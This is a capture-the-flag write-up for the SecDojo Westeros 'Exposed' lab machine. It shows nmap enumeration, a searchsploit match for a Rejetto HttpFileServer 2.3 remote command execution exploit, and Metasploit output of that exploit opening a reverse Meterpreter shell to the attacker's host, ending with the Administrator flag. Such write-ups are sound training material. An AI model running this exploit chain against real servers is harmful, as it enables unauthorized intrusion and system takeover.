SecDojo - Westeros Lab

Exposed machine write up

Sesco

2022-12-29

Information

- **Name:** Westeros Lab - Exposed Machine
- **Profile:** SecDojo
- **Difficulty:** Easy
- **Description:** Westeros is a network of vulnerable Windows servers. Each box suffers from a severe vulnerability that if properly exploited, will grant you administrator access and get you the root flag located at the Administrator desktop folder.

Enumeration

Nmap

We begin our reconnaissance by running an Nmap scan checking services and their versions also checking default scripts and testing for vulnerabilities.

```
$ nmap -Pn -sC -sV -T4 172.16.4.235
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-28 17:19 UTC
Nmap scan report for 172.16.4.235
Host is up (0.00033s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT      STATE SERVICE            VERSION
80/tcp    open  http               HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 -
    2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info:
|   Target_Name: WIN-NPIKVT9GRJD
|   NetBIOS_Domain_Name: WIN-NPIKVT9GRJD
|   NetBIOS_Computer_Name: WIN-NPIKVT9GRJD
|   DNS_Domain_Name: WIN-NPIKVT9GRJD
|   DNS_Computer_Name: WIN-NPIKVT9GRJD
|   Product_Version: 6.3.9600
|_  System_Time: 2022-12-28T17:20:47+00:00
| ssl-cert: Subject: commonName=WIN-NPIKVT9GRJD
| Not valid before: 2022-12-27T14:21:48
|_Not valid after:  2023-06-28T14:21:48
|_ssl-date: 2022-12-28T17:21:27+00:00; 0s from scanner time.
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
```

```
49155/tcp open  msrpc              Microsoft Windows RPC
49165/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:
    microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WIN-NPIKVT9GRJD, NetBIOS user: <unknown>,
    NetBIOS MAC: 06:59:e3:a0:ce:ca (unknown)
| smb2-security-mode:
|   3.0.2:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2022-12-28T17:20:47
|_  start_date: 2022-12-28T14:20:25

Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.70 seconds
zsh: segmentation fault  nmap -Pn -sC -sV -T4 172.16.4.235
```

From the above output we can see that ports, **80**, **135**, **139**, **445**, **3389**, **49152**, **49153**, **49154**, **49155** and **49165** are the open ports.

Searchsploit

I tried to run searchsploit to find some vulnerable services and found *Remote Command Execution* vulnerability on **HttpFileServer 2.3** service running on port 80 which is a web server specifically designed for publishing and sharing files.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ searchsploit HttpFileServer 2.3
---------------------------------------------------------------------------------------------
 Exploit Title                                                             |  Path
---------------------------------------------------------------------------------------------
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)                | windows/webapps/49125.py
---------------------------------------------------------------------------------------------
Shellcodes: No Results
```

Figure 1: *Searchsploit Results*

Exploitation

Metasploit

I used metasploit to exploit RCE vulnerability.

```
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 172.16.4.234:4444
[*] Using URL: http://172.16.4.234:8080/ABF4ksZ
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /ABF4ksZ
[*] Sending stage (175686 bytes) to 172.16.4.235
[*] Meterpreter session 1 opened (172.16.4.234:4444 → 172.16.4.235:49408) at 2022-12-28 17:46:06 +0000
[*] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\lkDLEKGw.vbs' on the target

meterpreter > ls
Listing: C:\Windows\hfs
========================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
040777/rwxrwxrwx  0       dir   2022-12-28 17:40:47 +0000  %TEMP%
100777/rwxrwxrwx  760320  fil   2014-02-16 13:58:52 +0000  hfs.exe
100666/rw-rw-rw-  273     fil   2020-01-06 16:36:12 +0000  ~temp.vfs
100666/rw-rw-rw-  275     fil   2019-08-09 09:43:24 +0000  ~temp.vfs.bak
```

Figure 2: *Metasploit meterpreter*

Root Flag

```
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
========================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  527   fil   2014-05-17 04:52:54 +0000  EC2 Feedback.website
100666/rw-rw-rw-  554   fil   2014-05-17 04:52:53 +0000  EC2 Microsoft Windows Guide.website
100666/rw-rw-rw-  282   fil   2019-08-05 15:27:19 +0000  desktop.ini
100666/rw-rw-rw-  48    fil   2022-12-28 14:24:51 +0000  proof.txt
100666/rw-rw-rw-  827   fil   2020-01-06 09:12:07 +0000  script.py

meterpreter > cat proof.txt
Exposed_Sesco-r58l6r5xm6euy06vmn9gam12djyw2k8e
meterpreter >
```

Figure 3: *Administrator Desktop*

Flag: `Exposed_Sesco-r58l6r5xm6euy06vmn9gam12djyw2k8e`